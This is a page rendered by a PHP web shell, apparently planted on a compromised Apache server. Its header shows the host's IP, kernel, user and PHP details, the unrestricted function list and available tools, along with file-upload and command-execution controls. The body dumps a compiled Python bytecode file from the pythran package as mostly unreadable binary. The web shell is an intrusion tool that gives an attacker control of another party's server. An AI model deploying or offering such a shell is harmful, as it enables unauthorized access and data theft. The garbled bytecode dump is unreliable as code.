403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/__pycache__/spec.cpython-311.pyc
�

cR�a@F���dZddlmZddlmZddlmZddlZddlm	Z	ddl
mZddlm
Z
mZmZmZmZmZmZddlmZddlmZd	�Zd
�Zd�ZGd�d
e��ZGd�de��ZGd�de��Zd�Zd�Z d�Z!d�Z"dS)z�
This module provides a dummy parser for pythran annotations.
    * spec_parser reads the specs from a python module and returns them.
���pytype_to_pretty_type)�defaultdict)�productN)�List�Set�Dict�NDArray�Tuple�Pointer�Fun)�PythranSyntaxError)�cfgc���ddlm}m}ddlm}m}ddlm}m}m}m}	m	}
m
}ddlm}m}
m
}m}m}m}	ddlm}m}n#t&$r|}|}YnwxYwt)|t*��rIt-|��t-|��krdSt/d�t1||��D����St2|f}||vr||vrd	St4|f}||vr||vrd	S|	t6f}||vr||vrd	St9|��t9|��urdSt;|d
��sdSt9|��t<ur*t?|j dd�|j dd���St?|j |j ��S)Nr)�	complex64�
complex128)�float32�float64)�int8�int16�int32�int64�intp�intc)�uint8�uint16�uint32�uint64�uintp�uintc)�
complex256�float128Fc3�<K�|]\}}t||��V��dS�N)�ambiguous_types)�.0�t0�t1s   �./usr/lib/python3/dist-packages/pythran/spec.py�	<genexpr>z"ambiguous_types.<locals>.<genexpr> s0����G�G�v�r�2�?�2�r�*�*�G�G�G�G�G�G�T�__args__�)!�numpyrrrrrrrrrrrrrrrr r!r"�ImportError�
isinstance�tuple�len�all�zip�float�complex�int�type�hasattrr
r%r,)�ty0�ty1rrrrrrrrrrrrrrrr r!r"�ambiguous_float_types�ambiguous_cplx_types�ambiguous_int_typess                       r)r%r%s"��+�+�+�+�+�+�+�+�&�&�&�&�&�&�&�&�;�;�;�;�;�;�;�;�;�;�;�;�;�;�;�;�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A�A��.�.�.�.�.�.�.�.�.�������
����������#�u���H��s�8�8�s�3�x�x����5��G�G��S�#���G�G�G�G�G�G�!�7�N��
�#�#�#��/D�(D�(D��t�"�J�.��
�"�"�"�s�.B�'B�'B��t���*��
�!�!�!�c�-@�&@�&@��t��C�y�y��S�	�	�!�!��u��3�
�#�#���u��C�y�y�G����s�|�A�B�B�/���a�b�b�1A�B�B�B��s�|�S�\�:�:�:s�;�A�Ac���t|t��sdSt|j��dz
dkrdS|jd|jdcxkot	ddd��kncS)NFr-����)r0r
r2r,�slice��ts r)�istransposedrE;sp���a��!�!���u�
�1�:�����a����u��:�a�=�A�J�q�M�B�B�B�B�U�2�t�T�-B�-B�B�B�B�B�Br+c��t|t��sdSt|j��dz
dkrdSt	d�|jdd�D����S)NFr-r@c3�,K�|]}|jdkV��dS)r-N)�step)r&�ss  r)r*z!istransposable.<locals>.<genexpr>Hs(����3�3�q�q�v��{�3�3�3�3�3�3r+)r0r
r2r,r3rCs r)�istransposablerJCs]���a��!�!���u�
�1�:�����a����u��3�3�A�J�q�r�r�N�3�3�3�3�3�3r+c�0�eZdZdZdd�Zd�Zd�ZeZd�ZdS)�Specz�
    Result of spec parsing.

    ``functions'' is a mapping from function name to a tuple of signatures
    ``capsule'' is a mapping from function name to signature
    Nc��t|��|_|p
t��|_|���D]%\}}t	|t
��s|f|j|<�&|sddl}|�d��dSdS)Nrz2No pythran specification, nothing will be exported)�dict�	functions�capsules�itemsr0r1�logging�warning)�selfrOrP�fname�
signaturesrRs      r)�__init__z
Spec.__init__Ss����i����� �*�D�F�F��
�"+���!2�!2�	6�	6��E�:��j�%�0�0�
6�)3�
���u�%���	8��N�N�N��O�O�7�
8�
8�
8�
8�
8�	8�	8r+c��t|j�����t|j�����zSr$)�listrO�keysrP�rTs r)rZz	Spec.keysas9���D�N�'�'�)�)�*�*�T�$�-�2D�2D�2F�2F�-G�-G�G�Gr+c�8�t|jp|j��Sr$)�boolrOrPr[s r)�__bool__z
Spec.__bool__ds���D�N�3�d�m�4�4�4r+c�X�|j���D]�\}}t||��}d�|��}|�|d��}|s|}nE|�dd��}|ddz|z}t
|��dkr|d|dzz
}|||<��dS)NzSupported prototypes:
{}�z

r-rz

    r@)rOrQ�signatures_to_string�format�get�splitr2)	rT�
docstrings�	func_namerV�sigdocs�docstring_prototypes�docstring_py�	docstring�partss	         r)�
to_docstringszSpec.to_docstringsis���%)�^�%9�%9�%;�%;�	.�	.�!�I�z�*�9�j�A�A�G�#>�#E�#E�g�#N�#N� �%�>�>�)�R�8�8�L��
3�0�	�	�$�*�*�6�1�5�5��!�!�H�z�1�4H�H�	��u�:�:��?�?���%��(�!2�2�I�$-�J�y�!�!�	.�	.r+r$)	�__name__�
__module__�__qualname__�__doc__rWrZr^�__nonzero__rl�r+r)rLrLKsi��������8�8�8�8�H�H�H�5�5�5��K�.�.�.�.�.r+rLc���eZdZdZidd�dd�dd�dd	�d
d�dd
�dd�dd�dd�dd�dd�dd�dd�dd�dd�d d!�d"d#�d$d%d&d'd(d)d*��Zd+d,d-d.d/d0d1d2d3d4d5d6�Ze�e��d7ee�����zZ	d8�e	D��Z
d9�e
D��Zd:Zd;Z
d<Zd=Zd>Zd?Zd@ZdAZdBZdCZdDZdE�ZdFe_dGZdH�ZdI�ZdJe_dK�ZdLe_dM�ZdNe_dO�ZdPe_dQ�ZdRe_dS�ZdTdU� e
��ze_dV�Z!dWdU� e��ze!_dX�Z"dYdU� e�����ze"_dZ�Z#d[e#_d\�Z$d]e$_d^�Z%d_e%_d`�Z&dae&_db�Z'dce'_dd�Z(dee(_df�Z)dge)_dh�Z*die*_dj�Z+dke+_dl�Z,dme,_dn�Z-doe-_dp�Z.dqe._dwds�Z/dt�Z0du�Z1dwdv�Z2drS)x�
SpecParsera8
    A parser that scans a file lurking for lines such as the one below.

    It then generates a pythran-compatible signature to inject into compile.
#pythran export a((float,(int, uint8),str list) list list)
#pythran export a(str)
#pythran export a( (str,str), int, int16 list list)
#pythran export a( {str} )
r]�BOOL�byte�BYTEr6�COMPLEXr7�INTr5�FLOATr�UINT8r�UINT16r�UINT32r�UINT64r �UINTCr�UINTPr�INT8r�INT16r�INT32r�INT64r�INTCr�INTP�FLOAT32�FLOAT64�FLOAT128�	COMPLEX64�
COMPLEX128�
COMPLEX256)rrr"rrr!�PYTHRAN�EXPORT�ORDER�CAPSULE�OR�LIST�SET�DICT�SLICE�STR�NONE)�#pythran�export�order�capsule�orrY�setrNrB�str�None)�
IDENTIFIER�NUM�COLUMN�LPAREN�RPAREN�CRAP�OPT�LARRAY�RARRAY�STAR�COMMAc��g|]
}|dk�|��S)r�rr�r&�toks  r)�
<listcomp>zSpecParser.<listcomp>�s"��6�6�6�C�S�I�%5�%5�C�%5�%5�%5r+c��g|]}|dv�|��	S))r�r�rrr�s  r)r�zSpecParser.<listcomp>�s#��G�G�G���3F�(F�(F��(F�(F�(Fr+z[^,:\(\)\[\]*?0-9]�,�:z\(z\)z\]z\[z\*z\?z[1-9][0-9]*))�leftr�)r�r�r�r�c�Z�tj�|jd��|_|S)Nr�)rt�reservedrc�valuer8�rTrDs  r)�t_IDENTIFERzSpecParser.t_IDENTIFER�s#���$�(�(���,�?�?����r+z\#?[a-zA-Z_][a-zA-Z_0-9]*z 	

c�:�|j�d��dS)Nr-)�lexer�skipr�s  r)�t_errorzSpecParser.t_error�s��	����Q�����r+c���t|��dkrbt|��dk}t|��dkr|jn|j}|t|��dz
D]\}}||xx|z
cc<�dSdS)Nr-��)r2�exports�native_exports)rT�p�isnative�target�key�vals      r)�	p_exportszSpecParser.p_exports�s����q�6�6�A�:�:��1�v�v��{�H�%(��V�V�q�[�[�T�\�\�d�6I�F��c�!�f�f�Q�h�K�
#�
#���S��s����s�"�����	�:�
#�
#r+z�exports :
                   | PYTHRAN EXPORT export_list opt_craps exports
                   | PYTHRAN EXPORT CAPSULE export_list opt_craps exportsc�h�t|��dkr	|dfn|d|dfz|d<dS)Nr@r-r�r�r2�rTr�s  r)�
p_export_listzSpecParser.p_export_list�s5���a�&�&�A�+�+��!��w�w�A�a�D�A�a�D�7�N��!���r+zAexport_list : export
                  | export_list COMMA exportc��t|��dkr|dpd}nd}|d|f|d<|j|dxx|�d��fz
cc<dS)Nr@r��rrrrr-r)r2�export_info�lexpos)rTr��sigss   r)�p_exportzSpecParser.p_export�sk���q�6�6�A�:�:��Q�4�=�5�D�D��D���t�T�z��!�����1�����!�(�(�1�+�+�,�.�����r+z�export : IDENTIFIER LPAREN opt_param_types RPAREN
                  | IDENTIFIER
                  | EXPORT LPAREN opt_param_types RPAREN
                  | ORDER LPAREN opt_param_types RPARENc��dSr$rrr�s  r)�p_opt_crapszSpecParser.p_opt_craps�����r+z:opt_craps :
                     | some_crap opt_all_crapsc��dSr$rrr�s  r)�p_opt_all_crapszSpecParser.p_opt_all_craps�r�r+z9opt_all_craps :
                     | crap opt_all_crapsc��dSr$rrr�s  r)�p_crapzSpecParser.p_crap�r�r+zcrap : z
| c��dSr$rrr�s  r)�p_some_crapzSpecParser.p_some_crapr�r+zsome_crap : c�L�ddl}t|d|j��f|d<dS)Nrr-)r.�eval�__dict__)rTr�r.s   r)�p_dtypezSpecParser.p_dtype	s+�������A�a�D�%�.�)�)�*��!���r+zdtype : c�^�t|��dkr|dn
t��|d<dS�Nr@r-r�r2r1r�s  r)�p_opt_param_typeszSpecParser.p_opt_param_types�)���1�v�v��{�{�q��t�t�����!���r+z4opt_param_types :
                     | param_typesc�^�t|��dkr|dn
t��|d<dSr�r�r�s  r)�p_opt_typeszSpecParser.p_opt_typesr�r+z(opt_types :
                     | typesc���t���dkr$td��dD�����d<dSt���dkr'td��dD����dz�d<dSt���dkr&t�fd	��dD�����d<dSt�fd
��dD����dz�d<dS)Nr@c3�K�|]}|fV��dSr$rr�r&rDs  r)r*z+SpecParser.p_param_types.<locals>.<genexpr>�$����,�,�!�!��,�,�,�,�,�,r+r-rr�c3�K�|]}|fV��dSr$rrr�s  r)r*z+SpecParser.p_param_types.<locals>.<genexpr>r�r+r��c3�:�K�|]}�dD]
}|f|zV���dS�r�Nrr�r&rD�tsr�s   �r)r*z+SpecParser.p_param_types.<locals>.<genexpr>!�:�����@�@�q�1�Q�4�@�@�R�!����@�@�@�@�@�@�@r+c3�:�K�|]}�dD]
}|f|zV���dS�r�Nrrr�s   �r)r*z+SpecParser.p_param_types.<locals>.<genexpr>#r�r+r�r�s `r)�
p_param_typeszSpecParser.p_param_typess�����q�6�6�Q�;�;��,�,�q��t�,�,�,�,�,�A�a�D�D�D�
��V�V�q�[�[��,�,�q��t�,�,�,�,�,�u�4�A�a�D�D�D�
��V�V�q�[�[��@�@�@�@�A�a�D�@�@�@�@�@�A�a�D�D�D��@�@�@�@�A�a�D�@�@�@�@�@�5�H�A�a�D�D�Dr+z�param_types : type
                       | type OPT
                       | type COMMA param_types
                       | type OPT COMMA default_typesc����t���dkr'td��dD����dz�d<dSt�fd��dD����dz�d<dS)Nr�c3�K�|]}|fV��dSr$rrr�s  r)r*z-SpecParser.p_default_types.<locals>.<genexpr>,r�r+r-r�rc3�:�K�|]}�dD]
}|f|zV���dSr�rrr�s   �r)r*z-SpecParser.p_default_types.<locals>.<genexpr>.r�r+r�r�s `r)�p_default_typeszSpecParser.p_default_types*sr����q�6�6�Q�;�;��,�,�q��t�,�,�,�,�,�u�4�A�a�D�D�D��@�@�@�@�A�a�D�@�@�@�@�@�5�H�A�a�D�D�Dr+zNdefault_types : type OPT
                       | type OPT COMMA default_typesc���t���dkr$td��dD�����d<dSt�fd��dD�����d<dS)Nr@c3�K�|]}|fV��dSr$rrr�s  r)r*z%SpecParser.p_types.<locals>.<genexpr>4r�r+r-rc3�:�K�|]}�dD]
}|f|zV���dSr�rrr�s   �r)r*z%SpecParser.p_types.<locals>.<genexpr>6r�r+r�r�s `r)�p_typeszSpecParser.p_types2sh����q�6�6�Q�;�;��,�,�q��t�,�,�,�,�,�A�a�D�D�D��@�@�@�@�A�a�D�@�@�@�@�@�A�a�D�D�Dr+z0types : type
                 | type COMMA typesc�����t���dkr�ddf�d<dSt���dkr6�ddkr,d��t��fd��dD�����d<dSdSdS)	Nr@r-r�r��]c�@�t|t��r|jn|fSr$)r0r
r,rCs r)�argsz%SpecParser.p_array_type.<locals>.args?s��%/��7�%;�%;�E�q�z�z�!��Er+c3�V�K�|]#}t�|���dzV��$dSr�)r
)r&rDr�r�s  ��r)r*z*SpecParser.p_array_type.<locals>.<genexpr>As8�����?�?�Q����a���1�Q�4��0�?�?�?�?�?�?r+r�)rTr�r�s `@r)�p_array_typezSpecParser.p_array_type;s������q�6�6�Q�;�;��Q�4��7�8�A�a�D�D�D�
��V�V�q�[�[�Q�q�T�S�[�[�
F�
F�
F��?�?�?�?�?�!�A�$�?�?�?�?�?�A�a�D�D�D��[�[�[r+zKarray_type : dtype
                | array_type LARRAY array_indices RARRAYc���t���dkr�df�d<dSt���dkr0�ddkr$td��dD�����d<dSt���dkr0�ddkr$td��dD�����d<dSt���dkr�d�wg}�dD]X}|�|��t|��r2|�t|jdd	d�d	d�f���Yt|���d<dS�dd
krV�dD])}t|��sd}|��|���*td��dD�����d<dS�d�d<dSt���d
kr2�ddkr&t�fd��dD�����d<dSt���d
kr&t�fd��dD�����d<dSt���dkr"�ddkr�d�dz�d<dSt���dkr0�ddkr$td��dD�����d<dSt���dkr�ddkr
�d�d<dSd��j��}|��|��dS)Nr@r-rr�rYc3�0K�|]}t|V��dSr$)rr�s  r)r*z$SpecParser.p_type.<locals>.<genexpr>Js&����/�/�Q��a��/�/�/�/�/�/r+r�c3�0K�|]}t|V��dSr$)rr�s  r)r*z$SpecParser.p_type.<locals>.<genexpr>Ls&����.�.�A��Q��.�.�.�.�.�.r+rA�Fz?Invalid Pythran spec. F order is only valid for 2D plain arraysc3�TK�|]#}t|jddd�dd�fV��$dS)rrAN)r
r,)r&�nds  r)r*z$SpecParser.p_type.<locals>.<genexpr>[sP����-�-�!#�%�R�[��^�R�T�T�2�4�4�%?�@�-�-�-�-�-�-r+r�r��)c3��K�|]F}t�d��dkrt�d�n�dD]}t||fV���GdS)r�r-N)r2rr
)r&�rr�r�s   �r)r*z$SpecParser.p_type.<locals>.<genexpr>`s������C�C��),�Q�q�T���Q���'.�q��t�n�n�<=�a�D�C�C�!��T�1�W��C�C�C�C�C�C�Cr+c3�L�K�|]}�dD]}t||fV���dSr�)r	)r&�k�vr�s   �r)r*z$SpecParser.p_type.<locals>.<genexpr>es<�����@�@��1�Q�4�@�@�a��a��d��@�@�@�@�@�@�@r+r�c3�0K�|]}t|V��dSr$)rr�s  r)r*z$SpecParser.p_type.<locals>.<genexpr>is&����0�0�a��q��0�0�0�0�0�0r+r�z(Invalid Pythran spec. Unknown text '{0}')	r2r1�appendrJr
r,�p_errorrbr�)rTr��expandedr�msgs `   r)�p_typezSpecParser.p_typeFsL����q�6�6�Q�;�;��Q�4�5�A�a�D�D�D�
��V�V�q�[�[�Q�q�T�V�^�^��/�/�!�A�$�/�/�/�/�/�A�a�D�D�D�
��V�V�q�[�[�Q�q�T�U�]�]��.�.��1��.�.�.�.�.�A�a�D�D�D�
��V�V�q�[�[���t�|����A�$�M�M�B��O�O�B�'�'�'�%�b�)�)�M� ������A�����b�d�d�0J�(K�L�L�L���X����!�����1������A�$�-�-�B�)�"�-�-�-� 5�����Q��,�,�,���-�-�'(��t�-�-�-�-�-��!������t��!����
��V�V�q�[�[�Q�q�T�S�[�[��C�C�C�C�"#�A�$�C�C�C�C�C�A�a�D�D�D���V�V�q�[�[��@�@�@�@�Q�q�T�@�@�@�@�@�A�a�D�D�D�
��V�V�q�[�[�Q�q�T�T�\�\��Q�4�!�A�$�;�A�a�D�D�D�
��V�V�q�[�[�Q�q�T�S�[�[��0�0�1�Q�4�0�0�0�0�0�A�a�D�D�D�
��V�V�q�[�[�Q�q�T�S�[�[��Q�4�A�a�D�D�D�<�C�C�A�G�L�L�C��L�L��C� � � � � r+aZtype : term
                | array_type opt_order
                | pointer_type
                | type LIST
                | type SET
                | type LPAREN opt_types RPAREN
                | type COLUMN type DICT
                | LPAREN types RPAREN
                | LARRAY type RARRAY
                | type OR type
                c���t|��dkrH|ddvr1d�|d��}|�||��|d|d<dSd|d<dS)Nr-r��CFz(Invalid Pythran spec. Unknown order '{}'r)r2rbr)rTr�rs   r)�p_opt_orderzSpecParser.p_opt_order|si���q�6�6�A�:�:���t�4���@�G�G��!��M�M�����Q��$�$�$��Q�4�A�a�D�D�D��A�a�D�D�Dr+zAopt_order :
                     | ORDER LPAREN IDENTIFIER RPARENc�>�t|dd|d<dS)Nr-r)rr�s  r)�p_pointer_typezSpecParser.p_pointer_type�s���q��t�A�w���!���r+zpointer_type : dtype STARc�r�t|��dkr|df|d<dS|df|dz|d<dS)Nr@r-rr�r�r�s  r)�p_array_indiceszSpecParser.p_array_indices�s?���q�6�6�Q�;�;��Q�4�5�A�a�D�D�D��a�D�7�Q�q�T�>�A�a�D�D�Dr+zVarray_indices : array_index
                         | array_index COMMA array_indicesc��t|��dkrtddd��|d<dSt|��dks|ddkrtddd��|d<dStdt|d��d��|d<dS)Nr�rrAr-r�)r2rBr7r�s  r)�
p_array_indexzSpecParser.p_array_index�s���q�6�6�Q�;�;���B��#�#�A�a�D�D�D�
��V�V�q�[�[�A�a�D�C�K�K���B��?�?�A�a�D�D�D���C��!��I�I�q�)�)�A�a�D�D�Dr+zqarray_index :
                       | NUM
                       | COLUMN
                       | COLUMN COLUMNc���|ddkrt|d<dS|ddkrt|d<dS|ddkrtd��|d<dS|dd|d<dS)Nr-r�rrBr�)r�rBr8r�s  r)�p_termzSpecParser.p_term�sk���Q�4�5�=�=��A�a�D�D�D�
�q�T�W�_�_��A�a�D�D�D�
�q�T�V�^�^���:�:�A�a�D�D�D��Q�4��7�A�a�D�D�Dr+zQterm : STR
                | NONE
                | SLICE
                | dtypeNc���t|��}|�M|j�dd|��dz}||z
|_d|j�dd|��z|_|jr|j|_|S)N�
rr-)r�
input_text�rfind�offset�count�lineno�
input_file�filename)rTrr��err�
line_starts     r)�PythranSpecErrorzSpecParser.PythranSpecError�sw�� ��%�%������.�.�t�Q��?�?�!�C�J��*�,�C�J��T�_�2�2�4��F�C�C�C�C�J��?�	+��?�C�L��
r+c���|jdkr3|�d�|j��|j���|�d�|j��|j���)Nr�z(Unexpected identifier `{}` at that pointz#Unexpected token `{}` at that point)r8r*rbr�r�r�s  r)rzSpecParser.p_error�sq���6�\�!�!��'�'�:�A�A�!�'�J�J�����
��'�'�5�<�<�Q�W�E�E�����
r+c�t�tj|d���|_tj|dd���|_dS)NF)�module�debug)r-r.�write_tables)�lexr��yacc�parserr[s r)rWzSpecParser.__init__�s<���W�D��6�6�6��
��i�t�&+�-2�4�4�4����r+c���tt��|_tt��|_tt��|_||_||_g}d}|�d��D]�}tj	d|��r,d}|�
tjdd|�����C|rl|���}|�
d��r*|�
|�dd������|}|�
d����||���z}|�
d����d�|��}|j�||jd���|j���D]f\}}	t)|	��d	kr>d
�|��}
|j|d}|�|
|���|	d|j|<�g|j���D�],\}}	t)|	��t/jd
d��kr(|�d�|�����t3|	��D]�\}}
t5||
��}|	|d	zd�D]�}t5||��}||kr>d�|��}
|j|d}|�|
|���t7|
|��r?d�||��}
|j||}|�|
|������ɐ�.t9|j|j��S)NFr z\s*#\s*pythranTr��#r`)r�r.r-z(Overloads not supported for capsule '{}'rAr�typing�max_export_overloadsz�Too many overloads for function '{}', probably due to automatic generation of C-style and Fortran-style memory layout. Please force a layout using `order(C)` or `order(F)` in the array signaturezDuplicate export entry {}.zAmbiguous overloads
	{}
	{}.)rr1r�r�r�r!r&rd�re�matchr�sub�strip�
startswith�replace�joinr2�parser�rQr2rbr*r�getint�	enumerate�spec_to_stringr%rL)rT�textr&�lines�in_pythran_export�line�stripped�pythran_datar��	overloadsr�loc�i�ty_i�sty_i�ty_j�sty_js                 r)�__call__zSpecParser.__call__�sn��"�5�)�)���)�%�0�0���&�u�-�-������$�����!���J�J�t�$�$�
	!�
	!�D��x�)�4�0�0�
!�$(�!����R�V�$5�z�4�H�H�I�I�I�I�"�	
!��:�:�<�<���&�&�s�+�+�%��L�L����c�2�!6�!6�7�7�7�7�,4��%��L�L��$�$�$�$�!������%5�5�!����R� � � � ��y�y��'�'������,�d�j���F�F�F�"�1�7�7�9�9�	4�	4�N�C���9�~�~��!�!�@�G�G��L�L���&�s�+�B�/���+�+�C��5�5�5�'0��|�D���$�$�"�l�0�0�2�2�	>�	>�N�C���9�~�~��
�8�5K� L� L�L�L��+�+�8�9?��s���	E�E�E�%�Y�/�/�
>�
>���4�&�s�D�1�1��%�a��c�d�d�O�
>�
>�D�*�3��5�5�E���~�~�:�A�A�%�H�H��"�.�s�3�B�7��"�3�3�C��=�=�=�&�t�T�2�2�>�@�G�G��HM�O�O��"�.�s�3�A�6��"�3�3�C��=�=�=�	>�
>�
>��D�L�$�"5�6�6�6r+r$)3rmrnrorp�dtypesr��updater1�values�tokens�crap�	some_crap�t_CRAP�t_COMMA�t_COLUMN�t_LPAREN�t_RPAREN�t_RARRAY�t_LARRAY�t_STAR�t_OPT�t_NUM�
precedencer��t_ignorer�r�r�r�r�r�r�r=r�r�r�r�r�r�r�rrrrrrrr*rrWrOrrr+r)rtrtxs���������
���
���
�	�9�
�	�u�	
�
	��
�	��

�	�(�
�	�(�
�	�(�
�	��
�	��
�	��
�	��
�	��
�	��
� 	��!
�"	��#
�$��� �"�"�/
�
�
�F�6�����������
�
�H�
�O�O�F����3�5:�U�8�?�?�;L�;L�5M�5M�N�F�7�6�6�6�6�6�D�G�G��G�G�G�I�#�F��G��H��H��H��H��H�
�F��E��E��J�
���7�K���H����
#�#�#�M�I��<�<�<�0�M��/�/�/�;�H��

�
�
�2�K��
�
�
�-�O��
�
�
�����T�!2�!2�2�F�N�
�
�
�)�6�;�;�y�+A�+A�A�K��+�+�+�!�6�;�;�v�}�}���#?�#?�?�G�O�0�0�0�!&���0�0�0� �K��I�I�I�9�M��
I�I�I�
9�O��A�A�A�'�G�O�@�@�@�<�L��(!�(!�(!�T
�F�N����9�K�� � � �=�N��"�"�"�>�O��*�*�*�*�M��
����F�N��������4�4�4�87�87�87�87�87�87r+rtc�$��eZdZdZd�fd�	Z�xZS)�ExtraSpecParserzD
    Extension of SpecParser that works on extra .pythran files
    Nc���tjdd|tj���}tt|���||��S)Nz
^\s*exportz#pythran export)�flags)r7r9�	MULTILINE�superrcrO)rTrBr&�	__class__s   �r)rOzExtraSpecParser.__call__sE����v�m�%6���L�*�*�*���_�d�+�+�4�4�T�:�F�F�Fr+r$)rmrnrorprO�
__classcell__)rhs@r)rcrc	sQ���������G�G�G�G�G�G�G�G�G�Gr+rcc�l�d�|D��}d�|d�|����S)Nc�,�g|]}t|����Srrrr�s  r)r�z"spec_to_string.<locals>.<listcomp>s!��>�>�>�A�,�Q�/�/�>�>�>r+z{}({})z, )rbr=)�
function_name�spec�arguments_typess   r)rArAs5��>�>��>�>�>�O��?�?�=�$�)�)�O�*D�*D�E�E�Er+c�~���fd�|D��}|s�fd�|D��}d�d�|D����S)Nc�b��g|]+}td�|D�����t�|����,S)c3�4K�|]}t|��V��dSr$)rEr�s  r)r*z2signatures_to_string.<locals>.<listcomp>.<genexpr>s(����7�7�a�,�q�/�/�7�7�7�7�7�7r+)�anyrA�r&�sigrfs  �r)r�z(signatures_to_string.<locals>.<listcomp>sN���9�9�9�#��7�7�3�7�7�7�7�7�9�~�i��-�-�9�9�9r+c�0��g|]}t�|����Srr)rArss  �r)r�z(signatures_to_string.<locals>.<listcomp> s#���H�H�H�c�>�)�S�1�1�H�H�Hr+r`c3� K�|]	}d|zV��
dS)z
    - Nrr)r&�sigdocs  r)r*z'signatures_to_string.<locals>.<genexpr>!s'����=�=�6�:��&�=�=�=�=�=�=r+)r=)rfrVrgs`  r)rarasm���9�9�9�9��9�9�9�G��I�H�H�H�H�Z�H�H�H��
�7�7�=�=�W�=�=�=�=�=�=r+c�0�t��|��Sr$)rt)rBs r)�spec_parserry$s���:�<�<����r+c��t|��5}t��|���|���cddd��S#1swxYwYdS)N)r&)�openrc�read)�filepath�fds  r)�
load_specfiler(s���	
�h���A�2� �� � ������x�@�@�@�A�A�A�A�A�A�A�A�A�A�A�A����A�A�A�A�A�As�+A�A�A)#rp�pythran.types.conversionr�collectionsr�	itertoolsrr7�ply.lexr0�ply.yaccr1�pythran.typingrrr	r
rrr
�pythran.syntaxr�pythran.configrr%rErJ�objectrLrtrcrAraryrrrr+r)�<module>r�s�����;�:�:�:�:�:�#�#�#�#�#�#�������	�	�	�	�������������H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�H�-�-�-�-�-�-�������&;�&;�&;�RC�C�C�4�4�4�*.�*.�*.�*.�*.�6�*.�*.�*.�ZN7�N7�N7�N7�N7��N7�N7�N7�b	G�	G�	G�	G�	G�j�	G�	G�	G�F�F�F�
>�>�>����A�A�A�A�Ar+

Youez - 2016 - github.com/yon3zu
LinuXploit